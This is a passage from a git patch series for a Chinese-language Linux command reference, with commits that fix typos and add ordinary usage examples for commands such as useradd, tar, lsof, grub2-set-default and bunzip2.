":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file diff --git a/package.json b/package.json index 94419b1f722..f18ea257b13 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.11.2", + "version": "1.12.0", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From 4aaa543e5e6be49f019ecd0b1996f59ff3a20498 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=B8=83=E6=9C=94?= <95358476+lxp731@users.noreply.github.com> Date: Mon, 3 Oct 2022 21:09:58 +0800 Subject: [PATCH 034/570] doc: modify `timedatectl.md` (#426) Co-authored-by: Qishuo <1799594843@qq.com> --- command/timedatectl.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/command/timedatectl.md b/command/timedatectl.md index 4c32dfa55ed..ab278ef66b4 100644 --- a/command/timedatectl.md +++ b/command/timedatectl.md @@ -30,6 +30,10 @@ Query or change system time and date settings. -H --host=[USER@]HOST 在远程主机上操作 -M --machine=CONTAINER 在本地容器上操作。 --adjust-system-clock 更改本地 RTC 模式时调整系统时钟。 + --monitor 监控systemd-timesyncd的状态 + -p --property=NAME 仅显示此名称的属性 + -a --all 显示所有属性，包括空属性 + --value 显示属性时，只打印值 Commands: status 显示当前的时间设置。 From 833b43d57b53b220e779705f5f59228f1750cd21 Mon Sep 17 00:00:00 2001 From: lutixiaya <48750425+lutixiaya@users.noreply.github.com> Date: Wed, 12 Oct 2022 17:17:42 +0800 Subject: [PATCH 035/570] Update chage.md (#427) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Update chage.md * 更新useradd用法 --- command/chage.md | 2 +- command/useradd.md | 15 +++++++++++++++ 2 files changed, 16 insertions(+), 1 deletion(-) diff --git a/command/chage.md b/command/chage.md index 158ec1758e4..ab6eaa67fbd 100644 --- a/command/chage.md +++ b/command/chage.md @@ -21,7 +21,7 @@ chage [选项] 用户名 -w：用户密码到期前，提前收到警告信息的天数。 -E：帐号到期的日期。过了这天，此帐号将不可用。 -d：上一次更改的日期。 --i：停滞时期。如果一个密码已过期这些天，那么此帐号将不可用。 +-I：停滞时期。如果一个密码已过期这些天，那么此帐号将不可用。 -l：例出当前的设置。由非特权用户来确定他们的密码或帐号何时过期。 ``` diff --git a/command/useradd.md b/command/useradd.md index 9f9cb6b1c5f..772fad8f762 100644 --- a/command/useradd.md +++ b/command/useradd.md @@ -95,4 +95,19 @@ useradd caojh -u 544 需要说明的是，设定ID值时尽量要大于500，以免冲突。因为Linux安装后会建立一些特殊用户，一般0到499之间的值留给bin、mail这样的系统账号。 +新建一个普通用户： + +```shell +useradd lutixia +``` + +新建一个系统用户,系统用户一般用于管理服务，无需登录，所以分配nologin，限制其登录系统： +```shell +useradd -r -s /sbin/nologin mq +``` + +修改创建用户的默认参数，设置密码过期后到永久禁用的不活动时间为30天: +```shell +useradd -D -f 30 +``` From 12168960ea850ebddee047220e1c7680869194fe Mon Sep 17 00:00:00 2001 From: lutixiaya <48750425+lutixiaya@users.noreply.github.com> Date: Sat, 15 Oct 2022 11:27:16 +0800 Subject: [PATCH 036/570] =?UTF-8?q?=E6=9B=B4=E6=96=B0bunzip2=E7=94=A8?= =?UTF-8?q?=E6=B3=95=20(#428)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/bunzip2.md | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/command/bunzip2.md b/command/bunzip2.md index 5e47e239101..940d29a884d 100644 --- a/command/bunzip2.md +++ b/command/bunzip2.md @@ -1,11 +1,11 @@ bunzip2 === -创一个bz2文件压缩包 + bunzip2可解压缩.bz2格式的压缩文件。 ## 补充说明 -**bunzip2命令** 解压缩由bzip2指令创建的”.bz2"压缩包。对文件进行压缩与解压缩。此命令类似于“gzip/gunzip”命令，只能对文件进行压缩。对于目录只能压缩目录下的所有文件，压缩完成后，在目录下生成以“.bz2”为后缀的压缩包。bunzip2其实是bzip2的符号链接，即软链接，因此压缩解压都可以通过bzip2实现。 +**bunzip2命令** 可解压缩由bzip2指令创建的”.bz2"压缩包。bzip2可以对文件进行压缩与解压缩。此命令类似于“gzip/gunzip”命令，只能对文件进行压缩。对于目录只能压缩目录下的所有文件，压缩完成后，在目录下生成以“.bz2”为后缀的压缩包。bunzip2其实是bzip2的符号链接，即软链接，因此解压都可以通过bzip2 -d实现。 ### 语法 @@ -37,4 +37,11 @@ bzip2 -9vk /opt/etc.zip /opt/var.zip /opt/backup.zip 压缩完毕后，在`/opt`下就会生成相应的etc.zip.bz2、var.zip.bz2和backup.zip.bz2文件。 +解压缩： + + +```bash +bunzip2 -v /opt/etc.zip.bz2 +``` + From a0cf6422dd87011a90dc4a2a281e4fcf35e86eb1 Mon Sep 17 00:00:00 2001 From: lutixiaya <48750425+lutixiaya@users.noreply.github.com> Date: Sat, 15 Oct 2022 12:36:45 +0800 Subject: [PATCH 037/570] =?UTF-8?q?=E6=9B=B4=E6=AD=A3bzcat=E5=91=BD?= =?UTF-8?q?=E4=BB=A4=E7=9A=84=E7=9B=B8=E5=85=B3=E8=A7=A3=E9=87=8A=20(#429)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/bunzip2.md | 4 ++-- command/bzcat.md | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/command/bunzip2.md b/command/bunzip2.md index 940d29a884d..af76e5303a0 100644 --- a/command/bunzip2.md +++ b/command/bunzip2.md @@ -1,11 +1,11 @@ bunzip2 === - bunzip2可解压缩.bz2格式的压缩文件。 +可解压缩.bz2格式的压缩文件。 ## 补充说明 -**bunzip2命令** 可解压缩由bzip2指令创建的”.bz2"压缩包。bzip2可以对文件进行压缩与解压缩。此命令类似于“gzip/gunzip”命令，只能对文件进行压缩。对于目录只能压缩目录下的所有文件，压缩完成后，在目录下生成以“.bz2”为后缀的压缩包。bunzip2其实是bzip2的符号链接，即软链接，因此解压都可以通过bzip2 -d实现。 +bzip2可以对文件进行压缩与解压缩。此命令类似于“gzip/gunzip”命令，只能对文件进行压缩。对于目录只能压缩目录下的所有文件，压缩完成后，在目录下生成以“.bz2”为后缀的压缩包。**bunzip2其实是bzip2的符号链接**，即软链接，因此解压都可以通过bzip2 -d实现。 ### 语法 diff --git a/command/bzcat.md b/command/bzcat.md index 9e9a201ba54..010d23d1f20 100644 --- a/command/bzcat.md +++ b/command/bzcat.md @@ -1,11 +1,11 @@ bzcat === -解压缩指定的.bz2文件 +不解压，直接查看指定的.bz2文件 ## 补充说明 -**bzcat命令** 解压缩指定的.bz2文件，并显示解压缩后的文件内容。保留原压缩文件，并且不生成解压缩后的文件。 +**bzcat命令** 无需解压缩指定的.bz2文件，即可显示解压缩后的文件内容。 ### 语法 From 4c7735e7315e07624c822d14364de7ac025a9abe Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E9=9E=8D=E9=A9=AC=E7=A8=80?= <101485931+anmaxi68@users.noreply.github.com> Date: Sat, 15 Oct 2022 20:26:28 +0800 Subject: [PATCH 038/570] Update chown.md (#430) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 更改错字 --- command/chown.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/chown.md b/command/chown.md index 0896b3ff064..221f9f6ae36 100644 --- a/command/chown.md +++ b/command/chown.md @@ -7,7 +7,7 @@ chown **chown命令** 改变某个文件或目录的所有者和所属的组，该命令可以向某个用户授权，使该用户变成指定文件的所有者或者改变文件所属的组。用户可以是用户或者是用户D，用户组可以是组名或组id。文件名可以使由空格分开的文件列表，在文件名中可以包含通配符。 -只有文件主和超级用户才可以便用该命令。 +只有文件主和超级用户才可以使用该命令。 ### 语法 From 5e5804945ae99ce1bf736361c46391b285f34575 Mon Sep 17 00:00:00 2001 From: Rining Wu Date: Wed, 19 Oct 2022 02:15:30 +0100 Subject: [PATCH 039/570] Update groupadd.md (#433) fix a mis-spell --- command/groupadd.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/groupadd.md b/command/groupadd.md index f7f6e583678..9cc1bce1bbe 100644 --- a/command/groupadd.md +++ b/command/groupadd.md @@ -18,7 +18,7 @@ groupadd(选项)(参数) ```shell -g：指定新建工作组的id； -r：创建系统工作组，系统工作组的组ID小于500； --K：覆盖配置文件“/ect/login.defs”； +-K：覆盖配置文件“/etc/login.defs”； -o：允许添加组ID号不唯一的工作组。 ``` From fbf588f8b96b018f9e3e772d4a78d44ce9ac6a12 Mon Sep 17 00:00:00 2001 From: lutixiaya <48750425+lutixiaya@users.noreply.github.com> Date: Fri, 21 Oct 2022 15:31:36 +0800 Subject: [PATCH 040/570] Create grub2-mkconfig.md (#435) --- command/grub2-mkconfig.md | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 command/grub2-mkconfig.md diff --git a/command/grub2-mkconfig.md b/command/grub2-mkconfig.md new file mode 100644 index 00000000000..97d53f2acb5 --- /dev/null +++ b/command/grub2-mkconfig.md @@ -0,0 +1,30 @@ +grub2-mkconfig +=== + +生成 grub.cfg 配置文件。 + +## 语法 + +```shell +Usage: grub2-mkconfig [OPTION] +Generate a grub config file + + -o, --output=FILE output generated config to FILE [default=stdout] + -h, --help print this message and exit + -v, --version print the version information and exit + +Report bugs to . + +``` + +## 实例 + +生成新的grub配置文件 + +```shell +grub2-mkconfig -o /boot/grub2/grub.cfg + +# 或者 + +grub2-mkconfig > /boot/grub2/grub.cfg +``` From f525bde2156e1a8bd473b7542788f21b442d98c7 Mon Sep 17 00:00:00 2001 From: lutixiaya <48750425+lutixiaya@users.noreply.github.com> Date: Fri, 21 Oct 2022 15:51:55 +0800 Subject: [PATCH 041/570] Add files via upload (#436) --- command/grub2-set-default.md | 45 ++++++++++++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 command/grub2-set-default.md diff --git a/command/grub2-set-default.md b/command/grub2-set-default.md new file mode 100644 index 00000000000..8cbd5697cb9 --- /dev/null +++ b/command/grub2-set-default.md @@ -0,0 +1,45 @@ +grub2-set-default +=== + +设置系统默认的启动内核 + +## 语法 + +```shell +Usage: grub2-set-default [OPTION] MENU_ENTRY +Set the default boot menu entry for GRUB. +This requires setting GRUB_DEFAULT=saved in /etc/default/grub. + + -h, --help print this message and exit + -v, --version print the version information and exit + --boot-directory=DIR expect GRUB images under the directory DIR/grub2 + instead of the /boot/grub2 directory + +MENU_ENTRY is a number, a menu item title or a menu item identifier. + +Report bugs to . + +``` + +## 实例 + +查看可选的系统内核： +```shell +# awk -F\' '$1=="menuentry " {print $2}' /etc/grub2.cfg +CentOS Linux (5.4.219-1.el7.elrepo.x86_64) 7 (Core) +CentOS Linux (3.10.0-1160.76.1.el7.x86_64) 7 (Core) +CentOS Linux (3.10.0-862.el7.x86_64) 7 (Core) +CentOS Linux (0-rescue-3221d376917c458992a952d6327f2d6a) 7 (Core) +``` + +grub2-set-default后面的序号从0开始。所以，如果想设置第一个选项为默认启动内核，则可以使用下面的命令： + +```shell +# grub2-set-default 0 +``` +如果想使用CentOS Linux (3.10.0-862.el7.x86_64) 7 (Core)内核版本,则可以将0改为2 + +重启系统 +```shell +~]# init 6 +``` \ No newline at end of file From a88ebd19104f1fb346fc734daf988f55a58db708 Mon Sep 17 00:00:00 2001 From: Wingrez <31106425+wingrez@users.noreply.github.com> Date: Thu, 27 Oct 2022 16:41:25 +0800 Subject: [PATCH 042/570] fix case error in route.md (#437) fix case error in route.md --- command/route.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/command/route.md b/command/route.md index 2d462d9c817..9efeb6df712 100644 --- a/command/route.md +++ b/command/route.md @@ -30,9 +30,9 @@ route(选项)(参数) ### 参数 ```shell -Add：增加指定的路由记录； -Del：删除指定的路由记录； -Target：目的网络或目的主机； +add：增加指定的路由记录； +del：删除指定的路由记录； +target：目的网络或目的主机； gw：设置默认网关； mss：设置TCP的最大区块长度（MSS），单位MB； window：指定通过路由表的TCP连接的TCP窗口大小； From dc05a4ebab440dd8f0da1fb04f2bd26c3be18b9a Mon Sep 17 00:00:00 2001 From: ernest <307141632@qq.com> Date: Thu, 27 Oct 2022 21:47:34 +0800 Subject: [PATCH 043/570] doc: Update README.md (#438) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 更新安卓版本截图 --- README.md | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 52ca5f882e3..9700051f42a 100644 --- a/README.md +++ b/README.md @@ -111,10 +111,13 @@
Android 版本截图 -Android 版本截图 +Android 版本截图 -Android 版本截图 +Android 版本截图 +Android 版本截图 + +Android 版本截图
## 命令行工具 From ce53d4aaf544a48177f2356f65c3370ecf3cf2a5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=90=95=E7=A8=8B=E9=A3=8E?= Date: Fri, 28 Oct 2022 08:39:16 +0800 Subject: [PATCH 044/570] fix: fix the typo and add some examples (#439) * docs: update tar.md * docs: update tar.md --- command/tar.md | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/command/tar.md b/command/tar.md index e321304124e..d6ef556f327 100644 --- a/command/tar.md +++ b/command/tar.md @@ -469,10 +469,17 @@ tar -jcvf log.tar.bz2 log2012.log 打包后，以 bzip2 压缩 **解压目录** -去掉第一层目录结构，要出除第二层，--strip-components 2 +参数--strip-components NUMBER，在提取时从文件名中删除NUMBER个前导组件，如要去除前二层，参数为--strip-components 2 ```shell tar -xvf portal-web-v2.0.0.tar --strip-components 1 -C 指定目录 + +示例 +tar -xvf xxx.tar.gz -C /usr/src/a +/usr/src/a/xxxxx/src/opp/b.txt + +tar -xvf xxx.tar.gz -strip-components=1 -C /usr/src/a +/usr/src/a/src/opp/b.txt ``` **查阅上述tar包内有哪些文件** ： From f682765936a73a8870ff78ee5db0738fb993a093 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Fri, 28 Oct 2022 08:41:03 +0800 Subject: [PATCH 045/570] Update `tar.md` (#439) --- command/tar.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/command/tar.md b/command/tar.md index d6ef556f327..cab3d9ad132 100644 --- a/command/tar.md +++ b/command/tar.md @@ -473,11 +473,16 @@ tar -jcvf log.tar.bz2 log2012.log 打包后，以 bzip2 压缩 ```shell tar -xvf portal-web-v2.0.0.tar --strip-components 1 -C 指定目录 +``` 示例 + +```shell tar -xvf xxx.tar.gz -C /usr/src/a /usr/src/a/xxxxx/src/opp/b.txt +``` +```shell tar -xvf xxx.tar.gz -strip-components=1 -C /usr/src/a /usr/src/a/src/opp/b.txt ``` From 656e0a0075fb71d5f36bdea1e103b655fb50339c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Sun, 30 Oct 2022 03:04:49 +0800 Subject: [PATCH 046/570] Update lsof.md --- command/lsof.md | 117 ++++++++++++++++++++++++++---------------------- 1 file changed, 64 insertions(+), 53 deletions(-) diff --git a/command/lsof.md b/command/lsof.md index 9ba481ac1dd..7dca696be9f 100644 --- a/command/lsof.md +++ b/command/lsof.md @@ -64,69 +64,80 @@ events/0 6 root txt unknown /proc events/1 7 root cwd DIR 8,2 4096 2 / ``` - **lsof输出各列信息的意义如下：** +**lsof输出各列信息的意义如下：** -* COMMAND：进程的名称 -* PID：进程标识符 -* PPID：父进程标识符（需要指定-R参数） -* USER：进程所有者 -* PGID：进程所属组 -* FD：文件描述符，应用程序通过文件描述符识别该文件。 +标识 | 说明 +:- | :- +`COMMAND` | 进程的名称 +`PID` | 进程标识符 +`PPID` | 父进程标识符（需要指定-R参数） +`USER` | 进程所有者 +`PGID` | 进程所属组 +`FD` | 文件描述符，应用程序通过它识别该文件 文件描述符列表： -1. cwd：表示current work dirctory，即：应用程序的当前工作目录，这是该应用程序启动的目录，除非它本身对这个目录进行更改 -2. txt：该类型的文件是程序代码，如应用程序二进制文件本身或共享库，如上列表中显示的 /sbin/init 程序 -3. lnn：library references (AIX); -4. er：FD information error (see NAME column); -5. jld：jail directory (FreeBSD); -6. ltx：shared library text (code and data); -7. mxx ：hex memory-mapped type number xx. -8. m86：DOS Merge mapped file; -9. mem：memory-mapped file; -10. mmap：memory-mapped device; -11. pd：parent directory; -12. rtd：root directory; -13. tr：kernel trace file (OpenBSD); -14. v86  VP/ix mapped file; -15. 0：表示标准输出 -16. 1：表示标准输入 -17. 2：表示标准错误 +标识 | 说明 +:- | :- +`cwd` | 表示当前工作目录，即：应用程序的当前工作目录，这是该应用程序启动的目录，除非它本身对这个目录进行更改 +`txt` | 该类型的文件是程序代码，如应用程序二进制文件本身或共享库，如上列表中显示的 /sbin/init 程序 +`lnn` | 库引用 (AIX); +`er` | FD 信息错误（参见名称栏） +`jld` | jail 目录 (FreeBSD); +`ltx` | 共享库文本（代码和数据） +`mxx` | 十六进制内存映射类型编号xx +`m86` | DOS合并映射文件 +`mem` | 内存映射文件 +`mmap` | 内存映射设备 +`pd` | 父目录 +`rtd` | 根目录 +`tr` | 内核跟踪文件 (OpenBSD) +`v86` | VP/ix 映射文件 +`0` | 表示标准输出 +`1` | 表示标准输入 +`2` | 表示标准错误 一般在标准输出、标准错误、标准输入后还跟着文件状态模式： -1. u：表示该文件被打开并处于读取/写入模式。 -2. r：表示该文件被打开并处于只读模式。 -3. w：表示该文件被打开并处于写入模式。 -4. 空格：表示该文件的状态模式为unknow，且没有锁定。 -5. -：表示该文件的状态模式为unknow，且被锁定。 +标识 | 说明 +:- | :- +`u` | 表示该文件被打开并处于读取/写入模式 +`r` | 表示该文件被打开并处于只读模式 +`w` | 表示该文件被打开并处于写入模式 +`空格` | 表示该文件的状态模式为 unknow，且没有锁定 +`-` | 表示该文件的状态模式为 unknow，且被锁定 同时在文件状态模式后面，还跟着相关的锁： -1. N：for a Solaris NFS lock of unknown type; -2. r：for read lock on part of the file; -3. R：for a read lock on the entire file; -4. w：for a write lock on part of the file;（文件的部分写锁） -5. W：for a write lock on the entire file;（整个文件的写锁） -6. u：for a read and write lock of any length; -7. U：for a lock of unknown type; -8. x：for an SCO OpenServer Xenix lock on part      of the file; -9. X：for an SCO OpenServer Xenix lock on the      entire file; -10. space：if there is no lock. - -文件类型： - -1. DIR：表示目录。 -2. CHR：表示字符类型。 -3. BLK：块设备类型。 -4. UNIX： UNIX 域套接字。 -5. FIFO：先进先出 (FIFO) 队列。 -6. IPv4：网际协议 (IP) 套接字。 -7. DEVICE：指定磁盘的名称 -8. SIZE：文件的大小 -9. NODE：索引节点（文件在磁盘上的标识） -10. NAME：打开文件的确切名称 -11. REG：常规文件 +标识 | 说明 +:- | :- +`N` | 对于未知类型的Solaris NFS锁 +`r` | 用于部分文件的读取锁定 +`R` | 对整个文件进行读取锁定 +`w` | 对文件的一部分进行写锁定(文件的部分写锁) +`W` | 对整个文件进行写锁定(整个文件的写锁) +`u` | 用于任何长度的读写锁 +`U` | 对于未知类型的锁 +`x` | 对于文件部分的SCO OpenServer Xenix锁 +`X` | 对于整个文件的SCO OpenServer Xenix锁 +`space` | 如果没有锁 + + +**文件类型** + +标识 | 说明 +:- | :- +`DIR` | 表示目录 +`CHR` | 表示字符类型 +`BLK` | 块设备类型 +`UNIX` | UNIX 域套接字 +`FIFO` | 先进先出 (FIFO) 队列 +`IPv4` | 网际协议 (IP) 套接字 +`DEVICE` | 指定磁盘的名称 +`SIZE` | 文件的大小 +`NODE` | 索引节点（文件在磁盘上的标识） +`NAME` | 打开文件的确切名称 +`REG` | 常规文件 列出指定进程号所打开的文件: From 7f306908294884b9c567283bfce3f71696985bdb Mon Sep 17 00:00:00 2001 From: Legend Date: Tue, 1 Nov 2022 21:19:43 +0800 Subject: [PATCH 047/570] Update time.md (#441) --- command/time.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/time.md b/command/time.md index efa5f26a06e..c46ff23412e 100644 --- a/command/time.md +++ b/command/time.md @@ -36,7 +36,7 @@ sys 0m0.007s * user时间是指进程花费在用户模式中的CPU时间，这是唯一真正用于执行进程所花费的时间，其他进程和花费阻塞状态中的时间没有计算在内。 * sys时间是指花费在内核模式中的CPU时间，代表在内核中执系统调用所花费的时间，这也是真正由进程使用的CPU时间。 -shell内建也有一个time命令，当运行time时候是调用的系统内建命令，应为系统内建的功能有限，所以需要时间其他功能需要使用time命令可执行二进制文件`/usr/bin/time`。 +shell内建也有一个time命令，当运行time时候是调用的系统内建命令，因为系统内建的功能有限，所以需要时间其他功能需要使用time命令可执行二进制文件`/usr/bin/time`。 使用`-o`选项将执行时间写入到文件中： From 9c6b8a3952a2988634bc5617dc4a6c895b4359c2 Mon Sep 17 00:00:00 2001 From: DaYangtuo247 <73392515+DaYangtuo247@users.noreply.github.com> Date: Wed, 2 Nov 2022 13:18:46 +0800 Subject: [PATCH 048/570] update `fsck.md` (#443) --- command/fsck.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/command/fsck.md b/command/fsck.md index 8b86d1d57ed..5dc84ecf665 100644 --- a/command/fsck.md +++ b/command/fsck.md @@ -1,11 +1,11 @@ fsck === -检查并且试图修复文件系统中的错误 +fsck（英文全拼：file system check）命令检查并且试图修复文件系统中的错误 ## 补充说明 -**fsck命令** 被用于检查并且试图修复文件系统中的错误。当文件系统发生错误四化，可用fsck指令尝试加以修复。 +**fsck命令** 被用于检查并且试图修复文件系统中的错误。当文件系统发生错误，可用fsck指令尝试加以修复。 ### 语法 From 802a234b219edbe7a4567fa1b0171e9726801207 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=90=95=E7=A8=8B=E9=A3=8E?= Date: Thu, 3 Nov 2022 19:11:06 +0800 Subject: [PATCH 049/570] docs: remove redundant '/' (#444) --- command/ln.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/ln.md b/command/ln.md index f1afe832443..e9dd3df16d4 100644 --- a/command/ln.md +++ b/command/ln.md @@ -57,7 +57,7 @@ simple, never # 永远使用普通方式备份 ```shell cd /usr/mengqc -ln /mub1/m2.c /usr/liu/a2.c +ln mub1/m2.c /usr/liu/a2.c ``` 在执行ln命令之前，目录`/usr/liu`中不存在a2.c文件。执行ln之后，在`/usr/liu`目录中才有a2.c这一项，表明m2.c和a2.c链接起来（注意，二者在物理上是同一文件），利用`ls -l`命令可以看到链接数的变化。 From e2ed0be41c33b4569f490b49847463ee5674006e Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 8 Nov 2022 15:09:50 +0800 Subject: [PATCH 050/570] doc: Update README.md (#283) --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 9700051f42a..efef9c37ec2 100644 --- a/README.md +++ b/README.md @@ -38,7 +38,7 @@ **推荐使用的镜像 web 版本** [**`qq.wdev.cn`**](https://qq.wdev.cn) -[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/) +[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/) **其它 web 版本** From 9ab1948a85907bb5789965ac260720e98990de58 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 8 Nov 2022 15:14:07 +0800 Subject: [PATCH 051/570] doc: Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index efef9c37ec2..3eb76713e30 100644 --- a/README.md +++ b/README.md @@ -42,7 +42,7 @@ **其它 web 版本** -[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/), [`luojianjun.cn`](https://luojianjun.cn/linux-command/) +[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/) ## 微信小程序版本 From bc0e35f89325b8a3116f9dd1b502f92027149d05 Mon Sep 17 00:00:00 2001 From: M4n5ter <68144809+M4n5ter@users.noreply.github.com> Date: Wed, 9 Nov 2022 09:22:23 +0800 Subject: [PATCH 052/570] =?UTF-8?q?feat:=20=E6=9B=B4=E6=96=B0=20atop=20?= =?UTF-8?q?=E5=91=BD=E4=BB=A4=E4=B8=AD=E7=9A=84=E9=93=BE=E6=8E=A5=E4=BB=A5?= =?UTF-8?q?=E5=8F=8A=E5=90=8D=E8=AF=8D=20&=20=E6=B7=BB=E5=8A=A0=20`mkcert`?= =?UTF-8?q?=20=E5=91=BD=E4=BB=A4=20(#446)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/atop.md | 11 +-- command/mkcert.md | 218 ++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 222 insertions(+), 7 deletions(-) create mode 100644 command/mkcert.md diff --git a/command/atop.md b/command/atop.md index 22f3ebf1d26..a33cf5ab340 100644 --- a/command/atop.md +++ b/command/atop.md @@ -5,15 +5,15 @@ atop ## 补充说明 -[非内部程序，需要安装]它以一定的频率记录系统的运行状态，所采集的数据包含系统资源(CPU、内存、磁盘和网络)使用情况和进程运行情况，并能以日志文件的方式保存在磁盘中，服务器出现问题后，我们可获取相应的atop日志文件进行分析。atop是一款开源软件，我们可以从这里获得其源码和rpm安装包。 +[非内部程序，需要安装]它以一定的频率记录系统的运行状态，所采集的数据包含系统资源(CPU、内存、磁盘和网络)使用情况和进程运行情况，并能以日志文件的方式保存在磁盘中，服务器出现问题后，我们可获取相应的atop日志文件进行分析。atop是一款开源软件，我们可以从这里获得其[源码](https://github.com/Atoptool/atop)和[rpm安装包](https://pkgs.org/download/atop)。 -## 语法 +## 语法 ```shell atop(选项)(参数) ``` -## 说明 +## 说明 **ATOP列**：该列显示了主机名、信息采样日期和时间点 @@ -21,10 +21,9 @@ atop(选项)(参数) - sys、usr字段分别指示进程在内核态和用户态的运行时间 - #proc字段指示进程总数 -- #zombie字段指示僵死进程的数量 +- #zombie字段指示僵尸进程的数量 - #exit字段指示atop采样周期期间退出的进程数量 - 